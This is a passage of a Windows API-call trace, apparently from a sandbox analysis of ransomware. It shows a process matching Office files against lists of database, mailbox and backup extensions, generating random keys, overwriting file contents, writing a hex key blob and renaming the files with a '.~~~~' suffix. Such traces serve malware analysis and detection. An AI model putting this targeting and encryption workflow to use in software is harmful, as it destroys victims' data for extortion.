	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0134.677] lstrlenW (lpString=".myd") returned 4
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0134.677] lstrlenW (lpString=".DTXS") returned 5
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0134.678] lstrlenW (lpString=".ckp") returned 4
	[0134.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0134.678] lstrlenW (lpString=".dbt") returned 4
	[0134.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0134.678] lstrlenW (lpString=".db") returned 3
	[0134.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".db") returned 0x0
	[0134.678] lstrlenW (lpString=".TXT") returned 4
	[0134.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0134.678] lstrlenW (lpString=".MDF") returned 4
	[0134.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0134.678] lstrlenW (lpString=".bdb") returned 4
	[0134.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0134.678] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0134.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0134.678] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0fb0) returned 1
	[0134.679] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0134.679] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0134.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0134.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.680] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25466980484) returned 1
	[0134.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9b71ed0, dwHighDateTime=0x1d60e1e)) 
	[0134.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cd58
	[0134.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cd58 | out: hHeap=0x300000) returned 1
	[0134.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4eb8
	[0134.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.680] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.681] GetLastError () returned 0x0
	[0134.681] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.681] GetLastError () returned 0x0
	[0134.683] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.683] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0134.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.683] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.683] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.684] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.684] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.684] CloseHandle (hObject=0x114) returned 1
	[0134.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0134.684] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.~~~~")) returned 1
	[0134.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.687] GetLastError () returned 0x0
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".scr") returned 0x0
	[0134.688] lstrlenW (lpString=".cmd") returned 4
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".cmd") returned 0x0
	[0134.688] lstrlenW (lpString=".dll") returned 4
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".dll") returned 0x0
	[0134.688] lstrlenW (lpString=".bat") returned 4
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".bat") returned 0x0
	[0134.688] lstrlenW (lpString=".cpl") returned 4
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".cpl") returned 0x0
	[0134.688] lstrlenW (lpString=".sys") returned 4
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".sys") returned 0x0
	[0134.688] lstrlenW (lpString=".msc") returned 4
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".msc") returned 0x0
	[0134.688] lstrlenW (lpString=".com") returned 4
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".com") returned 0x0
	[0134.688] lstrlenW (lpString=".lnk") returned 4
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".lnk") returned 0x0
	[0134.688] lstrlenW (lpString=".msp") returned 4
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".msp") returned 0x0
	[0134.688] lstrlenW (lpString=".pif") returned 4
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".pif") returned 0x0
	[0134.688] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0134.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msqry32.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0134.690] lstrlenW (lpString=".sqb") returned 4
	[0134.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".sqb") returned 0x0
	[0134.690] lstrlenW (lpString=".ost") returned 4
	[0134.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".ost") returned 0x0
	[0134.691] lstrlenW (lpString=".txt") returned 4
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".txt") returned 0x0
	[0134.691] lstrlenW (lpString=".mdt") returned 4
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".mdt") returned 0x0
	[0134.691] lstrlenW (lpString=".BDB") returned 4
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".BDB") returned 0x0
	[0134.691] lstrlenW (lpString=".eql") returned 4
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".eql") returned 0x0
	[0134.691] lstrlenW (lpString=".DBF") returned 4
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".DBF") returned 0x0
	[0134.691] lstrlenW (lpString=".EQL") returned 4
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".EQL") returned 0x0
	[0134.691] lstrlenW (lpString=".FDB") returned 4
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".FDB") returned 0x0
	[0134.691] lstrlenW (lpString=".EDB") returned 4
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".EDB") returned 0x0
	[0134.691] lstrlenW (lpString=".DACPAC") returned 7
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".DACPAC") returned 0x0
	[0134.691] lstrlenW (lpString=".VHD") returned 4
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".VHD") returned 0x0
	[0134.691] lstrlenW (lpString=".DBV") returned 4
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".DBV") returned 0x0
	[0134.691] lstrlenW (lpString=".dacpac") returned 7
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".dacpac") returned 0x0
	[0134.691] lstrlenW (lpString=".sdf") returned 4
	[0134.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".sdf") returned 0x0
	[0134.692] lstrlenW (lpString=".accdb") returned 6
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".accdb") returned 0x0
	[0134.692] lstrlenW (lpString=".DBX") returned 4
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".DBX") returned 0x0
	[0134.692] lstrlenW (lpString=".MDT") returned 4
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".MDT") returned 0x0
	[0134.692] lstrlenW (lpString=".SQB") returned 4
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".SQB") returned 0x0
	[0134.692] lstrlenW (lpString=".vhd") returned 4
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".vhd") returned 0x0
	[0134.692] lstrlenW (lpString=".bac") returned 4
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".bac") returned 0x0
	[0134.692] lstrlenW (lpString=".mdf") returned 4
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".mdf") returned 0x0
	[0134.692] lstrlenW (lpString=".BAK") returned 4
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".BAK") returned 0x0
	[0134.692] lstrlenW (lpString=".BAC") returned 4
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".BAC") returned 0x0
	[0134.692] lstrlenW (lpString=".dbs") returned 4
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".dbs") returned 0x0
	[0134.692] lstrlenW (lpString=".vhdx") returned 5
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".vhdx") returned 0x0
	[0134.692] lstrlenW (lpString=".NDF") returned 4
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".NDF") returned 0x0
	[0134.692] lstrlenW (lpString=".dat") returned 4
	[0134.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".dat") returned 0x0
	[0134.693] lstrlenW (lpString=".DBS") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".DBS") returned 0x0
	[0134.693] lstrlenW (lpString=".CKP") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".CKP") returned 0x0
	[0134.693] lstrlenW (lpString=".edb") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".edb") returned 0x0
	[0134.693] lstrlenW (lpString=".PST") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".PST") returned 0x0
	[0134.693] lstrlenW (lpString=".dbf") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".dbf") returned 0x0
	[0134.693] lstrlenW (lpString=".SQL") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".SQL") returned 0x0
	[0134.693] lstrlenW (lpString=".pst") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".pst") returned 0x0
	[0134.693] lstrlenW (lpString=".dbv") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".dbv") returned 0x0
	[0134.693] lstrlenW (lpString=".SDF") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".SDF") returned 0x0
	[0134.693] lstrlenW (lpString=".dtxs") returned 5
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".dtxs") returned 0x0
	[0134.693] lstrlenW (lpString=".db3") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".db3") returned 0x0
	[0134.693] lstrlenW (lpString=".OST") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".OST") returned 0x0
	[0134.693] lstrlenW (lpString=".dbx") returned 4
	[0134.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".dbx") returned 0x0
	[0134.693] lstrlenW (lpString=".DB3") returned 4
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".DB3") returned 0x0
	[0134.694] lstrlenW (lpString=".DAT") returned 4
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".DAT") returned 0x0
	[0134.694] lstrlenW (lpString=".VHDX") returned 5
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".VHDX") returned 0x0
	[0134.694] lstrlenW (lpString=".ndf") returned 4
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".ndf") returned 0x0
	[0134.694] lstrlenW (lpString=".DB") returned 3
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".DB") returned 0x0
	[0134.694] lstrlenW (lpString=".sql") returned 4
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".sql") returned 0x0
	[0134.694] lstrlenW (lpString=".MYD") returned 4
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".MYD") returned 0x0
	[0134.694] lstrlenW (lpString=".DBT") returned 4
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".DBT") returned 0x0
	[0134.694] lstrlenW (lpString=".ACCDB") returned 6
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".ACCDB") returned 0x0
	[0134.694] lstrlenW (lpString=".fdb") returned 4
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".fdb") returned 0x0
	[0134.694] lstrlenW (lpString=".bak") returned 4
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".bak") returned 0x0
	[0134.694] lstrlenW (lpString=".myd") returned 4
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".myd") returned 0x0
	[0134.694] lstrlenW (lpString=".DTXS") returned 5
	[0134.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".DTXS") returned 0x0
	[0134.694] lstrlenW (lpString=".ckp") returned 4
	[0134.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".ckp") returned 0x0
	[0134.695] lstrlenW (lpString=".dbt") returned 4
	[0134.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".dbt") returned 0x0
	[0134.695] lstrlenW (lpString=".db") returned 3
	[0134.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".db") returned 0x0
	[0134.695] lstrlenW (lpString=".TXT") returned 4
	[0134.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".TXT") returned 0x0
	[0134.695] lstrlenW (lpString=".MDF") returned 4
	[0134.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".MDF") returned 0x0
	[0134.695] lstrlenW (lpString=".bdb") returned 4
	[0134.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".bdb") returned 0x0
	[0134.695] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0134.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0134.695] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a08c8) returned 1
	[0134.696] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0134.696] CryptReleaseContext (hProv=0x3a08c8, dwFlags=0x0) returned 1
	[0134.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0134.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.697] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25468672913) returned 1
	[0134.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9b98030, dwHighDateTime=0x1d60e1e)) 
	[0134.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cd20
	[0134.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cd20 | out: hHeap=0x300000) returned 1
	[0134.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4fe8
	[0134.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.697] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.698] GetLastError () returned 0x0
	[0134.698] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.698] GetLastError () returned 0x0
	[0134.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.806] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.809] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
